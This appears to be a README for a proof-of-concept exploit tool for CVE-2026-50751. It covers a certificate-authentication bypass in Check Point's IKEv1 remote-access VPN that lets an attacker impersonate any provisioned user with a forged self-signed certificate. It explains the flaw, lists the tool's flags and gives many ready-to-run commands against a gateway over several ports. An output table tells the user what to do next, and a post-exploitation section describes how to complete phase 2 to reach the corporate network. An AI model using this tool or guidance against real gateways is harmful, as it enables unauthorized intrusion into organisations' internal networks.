
Contournement de l'authentification par certificat sur le VPN Remote-Access de Check Point (IKEv1).
Contournement de l'authentification par certificat sur le VPN Remote-Access de Check Point (IKEv1).
CVE-2026-50751 est un contournement d'authentification dans le processus iked de Check Point, présent dans les versions R81.10, R82 et R82.10 sans le hotfix sk185033. La faille permet de s'authentifier en tant que n'importe quel utilisateur de Remote Access provisionné sans clé privée, sans mot de passe et sans certificat valide.
L'iked vulnérable lit un flag depuis le Vendor ID VPNExtFeatures (bit 0x4) et, s'il est activé, ignore verify_peer_auth / verifyMessagePhase1. Par conséquent :
La signature du certificat n'est pas vérifiée (preuve de possession).
La chaîne de confiance n'est pas vérifiée.
Seul le fait que le subject DN corresponde à un utilisateur provisionné est contrôlé.
Il suffit de forger un certificat auto-signé dont le CN= correspond à l'utilisateur cible et de l'envoyer avec une signature invalide. Si la passerelle accepte la phase 1, nous sommes authentifiés en tant que cet utilisateur (la SA ISAKMP est enregistrée sous son DN).
Fonctionne sur IKE (UDP 500/4500) et sur Visitor Mode (TCPT, TCP 443).
Syntaxe
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | Description | Default |
|---|---|---|
-host | IP ou nom d'hôte de la passerelle (obligatoire) | — |
-user | Nom d'utilisateur RA à usurper (obligatoire) | — |
-port | Port : 500, 4500 (UDP) ou 443 (TCPT) | 500 |
-org | Organisation (O=) de l'ICA. Si omis, est dérivé du certificat TLS de la passerelle sur le port 443 | — |
-ou | Unité organisationnelle (OU=) du DN de l'utilisateur. Doit correspondre exactement au OU que Check Point stocke pour l'utilisateur | users |
-timeout | Délai d'attente par opération (accepte toute durée Go : 6s, 500ms, 1m) | 6s |
-retries | Nombre de tentatives de msg1 si la passerelle ne répond pas à la première tentative | 1 |
-tcpt | Force le transport Visitor Mode (TCPT sur TCP, sans TLS). S'active automatiquement si -port 443 | false |
Note sur
-ou: la valeur par défaut estusers, mais en pratique l'utilisateur RA appartient généralement à un groupe spécifique (par exempleVPN_GROUP). Consultez-le avecmgmt_cli show user name "<usuario>" details-level "full" --format jsonet recherchez le champdistinguished-name. UnOUincorrect entraîne le rejet silencieux dumsg5par la passerelle (NO_RESPONSEouINCONCLUSIVE), car elle ne résout pas le DN vers un utilisateur provisionné.
O=)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
Sous Linux/macOS, vous avez besoin de sudo pour lier le port UDP 500 comme source. Si vous ne pouvez pas utiliser sudo, la PoC bascule sur un port éphémère et de nombreuses passerelles ignorent les paquets en raison du port source non standard.
Utile lorsque la passerelle n'expose pas son certificat TLS sur le 443, ou lorsque le O= dérivé automatiquement ne correspond pas à celui de l'utilisateur provisionné :
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
S'active automatiquement en spécifiant -port 443 :
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
Forcé explicitement avec -tcpt (au cas où le gateway aurait Visitor Mode à l'écoute sur un port différent du 443) :
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
Pour traverser le NAT entre votre machine et la passerelle. La PoC préfixe les paquets avec le marqueur NON-ESP de la RFC 3948 :
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
Utile sur les liens lents ou les passerelles avec limitation de débit :
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| Sortie | Signification | Que faire |
|---|---|---|
[+] [BYPASSED] + IP interne | Le contournement a fonctionné ; la SA IKEv1 a été établie en tant qu'utilisateur usurpé | Voir la section Post-exploitation |
[-] [REJECTED] | La passerelle a déchiffré votre msg5 mais a rejeté l'authentification | Utilisateur non provisionné, OU incorrect, ou passerelle corrigée (sk185033) |
[-] [NO_CERT_REALM] | La passerelle n'offre pas d'authentification par certificat en Main Mode | La passerelle n'est pas en mode Certificate/Mixed, ou n'accepte que IKEv2 |
[-] [NO_RESPONSE] | Aucune réponse au msg1 | Pare-feu bloquant UDP/500, iked non démarré, ou limitation de débit |
[!] [INCONCLUSIVE] | Aucune réponse décisive | Réessayer après quelques minutes ; vérifier tcpdump et les journaux de iked |
Une fois [BYPASSED] obtenu, la PoC a établi une Association de Sécurité IKEv1 complète et la passerelle vous a attribué une IP virtuelle du pool de Remote Access. Du point de vue de la passerelle, vous êtes l'utilisateur usurpé au sein du réseau d'entreprise.
Cependant, la PoC ne fournit pas de tunnel de données utilisable (elle n'implémente pas Quick Mode / IPsec ESP). Pour exploiter cette position sur le réseau, il faut compléter la phase 2. Cela peut se faire avec :
strongSwan ou OpenVPN avec un certificat manipulable : configurer le client pour qu'il utilise un certificat au DN forgé et négocier Quick Mode après le contournement. Nécessite de modifier le flux pour injecter le VID et contourner la vérification de signature côté client.Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │